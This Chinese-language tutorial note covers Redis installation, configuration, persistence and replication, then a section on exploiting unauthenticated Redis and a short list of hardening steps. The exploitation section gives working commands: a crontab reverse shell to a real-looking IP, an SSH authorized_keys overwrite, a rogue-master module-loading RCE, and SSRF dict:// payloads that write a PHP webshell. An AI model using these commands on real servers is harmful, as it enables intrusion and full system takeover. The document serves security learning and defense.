Redis是一个开源的基于内存的而且目前比较流行的键值数据库(key-value-database),是一个非关系型数据库,提供了易扩展、高性能、具备数据持久性等功能。
redis典型应用场景
- session共享:常见于web集群中的tomcat或者php中多web服务器session共享
- 缓存:数据查询、电商网站商品信息、新闻内容
- 计数器:访问排行榜、商品浏览数等和次数相关的数值统计场景
- 微博/微信社交场合:共同好友、粉丝数、关注、点赞评论等
- 消息队列:ELK的日志缓存、部分业务的订阅发布系统
- 地理位置:基于GEO(地理信息定位),实现摇一摇,附近的人,外卖等功能
redis安装与使用
yum安装redis
yum -y install redis
systemctl enable --now redis
编译安装
http://download.redis.io/releases/ #5.0.4
#依赖包
yum -y install gcc jemalloc-devel
#指定安装目录
cd redis-6.0.7
make PREFIX=/apps/redis install
#配置环境变量
echo 'PATH=/apps/redis/bin:$PATH' > /etc/profile.d/redis.sh
#创建配置文件
mkdir /apps/redis/{etc,log,data,run}
cp redis.conf /apps/redis/etc/
#创建软链接
ln -sv /apps/redis/bin/redis-* /usr/bin
#创建redis用户和数据目录
useradd -r -s /sbin/nologin redis
#设置目录权限
chown -R redis.redis /apps/redis/
#前台启动
redis-server /apps/redis/etc/redis.conf
设置启动文件:
vim /usr/lib/systemd/system/redis.service
[Unit]
Description=Redis persisten key-value database After=network.target
[Service]
ExecStart=/apps/redis/bin/redis-server /apps/redis/etc/redis.conf --supervised systemd
ExecStop=/bin/kill -s QUIT $MAINPID
Type=notify
User=redis
Group=redis
RuntimeDirectory=redis
RuntimeDirectoryMode=0755
[Install]
WantedBy=multi-user.target
连接工具
Windows:https://github.com/MicrosoftArchive/redis/releases
Redis GUI :RedisDesktopManafer
Redis配置选项
#监听地址,可以用空格隔开后多个监听IP
bind 0.0.0.0
#在没有设置bind IP和密码的时候,redis只允许访问127.0.0.1:6379
protected-mode yes
#监听端口
port 6379
#pid文件路径
pidfile /var/run/redis_6379.pid
#日志级别,四种debug、verbose、notice、warning
loglevel notice
#快照文件名
dbfilename dump.rdb
#设置Redis-server密码,默认密码:foobared
requirepass 123456
CONFIG动态修改配置
config命令用于查看当前redis配置、以及不重启redis服务实现动态更改redis配置等
注意:不是所有配置都可以动态修改,且此方法无法持久保存
#命令可以动态地调整Redis服务器的配置(configuration)而无需重启
CONFIG SET parameter value
#命令用于取得运行中的Redis服务器配置参数
CONFIG GET parameter
#设置密码
127.0.0.1:6379> CONFIG GET requirepass
#获取当前配置
config get *
#查看bind
CONFIG GET bind
#更改最大内存
CONFIG GET maxmemory 8589934529
Redis常用命令
https://redis.io/commands
http://redisdoc.com/
#查看服务器是否运行正常
PING
#显示当前节点信息
INFO
#查看当前数据库下的所有key,此命令慎用
KEYS
#保存数据
SAVE
#手动在后台执行RDB持久化操作
BGSAVE
#当前库下的所有key数量
DBSIZE
#强制清空当前库中的所有key
FLUSHDB
#强制清空当前redis服务器所有数据库中的所有key,此命令慎用
FLUSHALL
save于bgsave区别
SAVE直接调用rdbSave函数,阻塞Redis主进程,知道保存完成为止。在主进程阻塞期间,服务器不能处理客户端的任意请求。
如果数据量小,此命令可能感觉不出有什么区别,但是当数据量很大的时候,就需要谨慎使用这个命令
BGSAVE命令执行之后会fork出一个新子进程,原来redis进程(父进程)继续处理客户端请求,而子进程则负责将数据保存到磁盘,然后退出
Redis持久化
redis提供了两种持久化的方式,分别是RDB(Redis Database)和AOF(Append Only File)
- RDB,简而言之,就是在不同的时间点,将redis数据生成快照并存储到磁盘等介质上
- APF,则是换了一个角度来实现持久化,那就是将redis执行过的所有指令记录下来,在下次redis重启时,只要把这些指令从前到后在重复执行一遍,就可以实现数据恢复了
AOF持久化相关配置
#开启AOF持久化
appendonly no
#指定aof文件名字
appendfilename "appendonly.aof"
#aof文件增幅达到10%时则会触发重写机制
auto-aof-rewrite-percentage 10
#设置yes,可避免当写入量非常大时的磁盘io阻塞
no-appendfsync-on-rewrite no
Redis主从配置
当Redis服务器本身出现系统故障、硬件故障等问题后,就会直接造成数据的丢失,因此需要使用另外的技术来解决单点故障和性能扩展的问题。
主从模式可以实Redis数据跨主机备份
主从复制实现:
Redis Slave需要开启持久化并设置和master相同的密码,因为后期slave会有提升为master的可能,Slave切换为master同步后会丢失之前的所有数据,而通过持久化可以恢复数据。
一个Slave称为master时,Slave服务会清空当前Redis服务器上的所有数据并将master的数据导入自己的内存。
主从复制的特点:
- 一个master可以有多个slave
- 一个slave只能有一个master
- 数据流向是单向,从master到slave
Slave配置:
#设置主从复制
127.0.0.1:6379> REPLICAOF 192.168.0.0(master) 6379
ok
127.0.0.1:6379> CONFIG SET masterauth 123456
ok
#删除主从同步
REPLICAOF no one
早期版本使用SLAVEOF命令
配置文件方法:
vim /etc/redis.conf
replicaoif 192.168.0.0 6379
masterauth 123456
#之后重启
#查看状态
info replication
主从复制故障恢复操作:
1.停止slave同步并提升为新的master
#取消主从同步,提升为master
REPLICAOF NO ONE
2.修改所有slave指向新的master节点
主从同步过程
- slave连接master,发送PSYNC命令
- master收到PSYNC命令后,执行BGSAVE命令生成RDB快照文件并使用缓冲区记录此后执行的所有写命令
- master的BGSAVE执行完成后,向所有slave发送RDB快照文件,并在发送期间继续记录被执行的写命令
- slave收到快照文件后丢弃所有旧数据,载入收到的快照至内存中
- master快照发送完毕后,开始向slave发送缓冲区中的写命令
- slave完成对快照的载入,开始接收命令请求,并执行来自master缓冲区的写命令
- 后期同步会先发送自己的slave_repl_offset位置,只同步新增加的数据,不再全量同步
常见攻击手法
Redis低版本默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样会将Redis服务暴露在公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据
Redis默认密码为:foobared
弱密码:123456 111111
协议分析
Redis有两种协议
- 纯文本方式:
SET keyname value \n
- Custom(自定义)
*3\r\n$3\r\nSET\r\n$7\r\nkeyname\r\n$5\r\nvalue\r\n
请求与响应格式:
协议格式:
redis未授权检测脚本编写思路:
利用socket请求并发送请求
\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a
*1
$4
info
从数据包中获取内容并判断存有redis_version关键字,有的话则是存在未授权漏洞
利用crontab反弹shell
条件
- root权限
- 目录可写
- 可出网
#查看当前路径
CONFIG GET dir
#查看数据库文件,后续用
CONFIG GET dbfilename
#设置目录
CONFIG SET DIR /var/spool/cron.
#反弹shell内容
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/124.221.192.68/4141 0>&1\n\n\n"
#将数据库名称改为root
CONFIG SET DBFILENAME root
#保存文件
bgsave
#删除-.-
del -.-
#还原
config set dir /apps/redis/data
config set dbfilename dump.rdb
kali:
nc -v -l -p 4242
\n\n\n是redis数据文件中有其它数据,为了避免写入内容造成破坏使用换行符
注意事项:
- 在生产环境中使用key*,会导致挂掉
利用公钥获取服务器权限
条件:
- root权限
- 目录可写
kali:
#查看当前路径
CONFIG GET dir
#查看数据库文件,后续恢复利用
CONFIG GET dbfilename
#生成密钥
ssh-keygen -t rsa
#将公钥信息进行分行,避免写入的时候造成影响
(echo -e "\n\n"; cat id_rsa.pub; echo e "\n\n") > test.txt
#将公钥写入
cat test.txt | redis-cli -h 192.168.0.0 -x set test
#获取备份路径
CONFIG GET DIR
#更改为公钥存放目录
CONFIG SET DIR "/root/.ssh"
#重命名,如果存在会覆盖
CONFIG SET DBFILENAME "authorized_keys"
#保存
save
#删除test
del test
#还原
config set dir /usr/local/redis/data
config set dbfilename dump.rdb
如果得知目标网站路径,也可利用此方法获取webshell
Redis基于主从复制RCE
在redis4.x之后,redis新增了模块功能,通过外部扩展可以实现一个redis新的命令,通过写c语言并编译出.so文件。
利用方式:
伪装成redis数据库,在受害者将我们的数据库设置为主节点。
第二步,我们设置备份文件为so文件
第三步,设置传输方式全量传输
第四步,加载so
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/yuyan-sec/RedisEXP
docker pull vertigo/redis4
- 将redis设置为slave
SLAVEOF server port
2.设置数据库文件
CONFIG SET dbfilename exp.so
3.从rogue server接收module
+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>
4.加载模块
MODULE LOAD ./exp.so
基于SSRF场景下利用Redis
#连接远程主服务器
dict://127.0.0.1:6379/slaveof:r3start.net:2323
#内容,不是基于主从
dict://127.0.0.1:6379/set:xxxxxxx:1111111
#设置保存文件名
dict://127.0.0.1:6379/config:set:dbfilename:test.php
#保存
dict://127.0.0.1:6379/save
#断开主从
dict://127.0.0.1:6379/slaveof:no:one
防御手段
1.禁止使用root权限启动redis服务
#创建redis用户和数据目录
useradd -r -s /sbin/nologin redis
#设置目录权限
chown -R redis.redis /apps/redis/
2.对redis访问启动密码认证
#设置密码
CONFIG SET requirepass 强密码
ok
3.添加IP访问限制,不允许0.0.0.0
#reids,conf监听地址,可以用空格隔开后多个监听IP
bind 127.0.0.1
4.更改命令
#将config命令更改为ccav.config,这样可以避免误操作,但如果使用了AOF持久化,建议不要开启该功能
rename-command CONFIG ccav.config
#也可以后面定义为空,这样就禁掉了该CONFIG命令
rename-command CONFIG ""
https://www.runoob.com/mongodb/nosql.html
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf